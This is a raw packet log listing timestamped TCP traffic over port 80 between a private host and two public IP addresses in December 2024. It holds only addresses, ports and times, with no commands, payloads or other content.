Dec 18, 2024 12:00:27.008307934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.008336067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.008688927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.008744001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.008744001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.008822918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.008917093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.008972883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.008972883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.009000063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.009094000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.009691000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.009795904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.009798050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.009891033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.009902954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.009910107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.009959936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.009959936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.010433912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.010550022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.010576963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.010627985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.010942936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.010996103 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.011023045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.011214018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.011240959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.011352062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.011379957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.011765957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.011944056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.012049913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.012061119 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.012126923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.012126923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.012201071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.012411118 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.012721062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.012815952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.013092041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.013108969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.013180971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.013206959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.013467073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.013515949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.013515949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.013606071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.013791084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.014312983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.014378071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.014389992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.014441967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.014482975 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.014601946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.015252113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.015317917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.015424013 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.015645981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.015695095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.015695095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.015788078 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.015908957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.016082048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.016220093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.016271114 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.016869068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.016941071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.016952038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.016971111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.017009974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.017009974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.017049074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.017271042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.017668009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.017785072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.017811060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.017951965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.018002987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.018003941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.018026114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.018343925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.018430948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.018542051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.018567085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.018737078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.019186974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.019290924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.019484043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.019499063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.019551992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.019552946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.019563913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.019628048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.020215988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.020467997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.020481110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.020539045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.020596981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.020622969 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.020781040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.021112919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.021259069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.021286011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.021331072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.021641016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.021744013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.021792889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.021867037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.022003889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.022030115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.022180080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.022624969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.022691965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.022806883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.022825003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.022840977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.023025990 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.023320913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.023408890 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.023449898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.023473024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.023755074 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.023832083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.023901939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.023935080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.023951054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.024007082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.024007082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.024590969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.024663925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.024672985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.024684906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.024740934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.024740934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.024859905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.025451899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.025501966 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.025501966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.025583982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.025696993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.025872946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.025954962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.025983095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.026211023 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.026221037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.026276112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.026294947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.026364088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.026792049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.026845932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.026856899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.026910067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.026910067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.026994944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.027304888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.027340889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.027482986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.027509928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.027580023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.027592897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.027623892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.027623892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.027914047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.027940035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.027971029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.028000116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.028081894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.028476000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.028593063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.028604984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.028666019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.028666019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.028671026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.028785944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.029306889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.029452085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.029460907 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.029510975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.029534101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.029671907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.029696941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.030138016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.030189991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.030189991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.030229092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.030745029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.030797958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.030797958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.030936003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.031028032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.031039953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.031054974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.031084061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.031699896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.031779051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.031868935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.031908989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.031943083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.031955004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.032164097 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.032452106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.032490015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.032512903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.032818079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.032880068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.032880068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.032913923 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.033087015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.033113003 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.033194065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.033219099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.033301115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.033888102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.033965111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.033977032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.034035921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.034035921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.034166098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.034267902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.034599066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.034727097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.035064936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.035093069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.035121918 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.035144091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.035414934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.035442114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.035504103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.035531998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.035765886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.036263943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.036402941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.036415100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.036443949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.036458015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.036458015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.036514997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.036900997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.036940098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.036999941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.037023067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.037256956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.037293911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.037400961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.037427902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.037636042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.037727118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.037816048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.037889004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.038346052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.038409948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.038425922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.038431883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.038453102 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.038522005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.038590908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.038899899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.039155006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.039202929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.039280891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.039397001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.039432049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.039602995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.039783955 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.039932966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.040011883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.040040970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.040105104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.040558100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.040632963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.040642023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.040704012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.040716887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.040729046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.040774107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.041455984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.041548014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.041584015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.041659117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.041672945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.041703939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.041732073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.041732073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.042176008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.042319059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.042407990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.042675972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.042721033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.042742968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.042926073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.042973995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.042973995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.043056965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.043292999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.043695927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.043785095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.043812990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.043899059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.043910980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.043936014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.043936014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.044076920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.044445038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.044502974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.044599056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.044986963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.045037031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.045037031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.045109034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.045321941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.045377016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.045377016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.045403004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.045466900 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.046113014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.046220064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.046222925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.046233892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.046277046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.046277046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.046360016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.046511889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.046888113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.047039986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.047274113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.047286987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.047421932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.047425985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.047518015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.047580004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.047667027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.047677040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.047750950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.048213005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.048279047 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.048290014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.048293114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.048330069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.048330069 CET	49913	80	192.168.2.6	185.215.113.17
